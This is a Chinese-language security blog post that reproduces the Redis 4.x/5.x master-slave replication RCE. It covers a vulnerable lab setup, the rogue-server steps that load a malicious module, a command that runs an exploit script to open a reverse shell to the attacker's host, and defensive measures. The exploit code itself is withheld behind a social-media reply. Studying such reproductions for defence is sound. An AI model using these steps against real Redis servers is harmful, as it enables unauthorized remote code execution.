免责声明
请勿利用文章内的相关技术从事非法测试。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,请务必遵守网络安全法律法规。本文仅用于测试,请完成测试后24小时删除,请勿用于商业用途。如文中内容涉及侵权行为,请及时联系作者,我们会立刻删除并致歉。
1. Redis 主从复制
简介
Redis 的主从复制是指将一个 Redis 实例(称为主节点)的数据复制到其他 Redis 实例(称为从节点)的过程。主从复制可以实现数据备份、读写分离、负载均衡等功能。
主机数据更新后根据配置和策略,自动同步到从机的 master/slave 机制,Master 以写为主,Slave 以读为主。主少从多、主写从读、读写分离、主写同步复制到从。
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。Redis模块是动态库,可以在启动时或使用MODULE LOAD
命令加载到Redis中。
redis 4.x/5.x RCE是基于主从复制的redis rce,其利用条件是Redis未授权或弱口令。
2.准备环境
redis下载链接:
https://download.redis.io/releases/redis-5.0.10.tar.gz
安装GCC
apt install build-essential
安装redis
cd src
make install
设置protected-mode为no
vim redis.conf 注释bind 127.0.0.1
!启动服务
./redis-server ../redis.conf
3.漏洞复现
使用exp脚本一键反弹shell,exp关注公众号后台回复【1113】获取exp下载链接
简单说一下EXP漏洞利用过程:
1. 连接到目标Redis服务器:脚本首先连接到指定的Redis服务器。
2. 发送SLAVEOF命令:脚本使目标Redis服务器成为Rogue Server的从服务器。
3. 设置dbfilename:脚本通过
CONFIG SET
命令设置目标Redis服务器的数据库文件名,这将在后续步骤中使用。4. 启动Rogue Server并监听:Rogue Server启动并等待目标Redis服务器的连接。
5. 执行PSYNC/SYNC:当目标Redis服务器尝试从Rogue Server同步数据时,Rogue Server发送一个包含恶意模块的响应。
6. 加载恶意模块:目标Redis服务器收到响应后会尝试加载这个恶意模块。
7. 执行任意代码:一旦恶意模块被加载,它就可以在Redis服务器上执行任意代码,从而实现远程代码执行。
执行exp:
python redis-rce.py -r 目标ip -p 目标端口 -L 本地IP -p 本地端口 -f exp.so
连接成功后
i代表选择进入一个shell,r代表反弹一个shell,e代表退出
反弹shell成功截图:
4.防御措施:
• 确保Redis服务器运行在受信任的网络环境中。
• 限制对Redis服务器的访问,只允许信任的客户端连接。
• 更新Redis到最新版本,并关注官方发布的任何安全更新。
• 如果不需要模块功能,可以通过配置文件禁用模块加载功能。
5.获取EXP
后台回复【1113】获取EXP下载链接。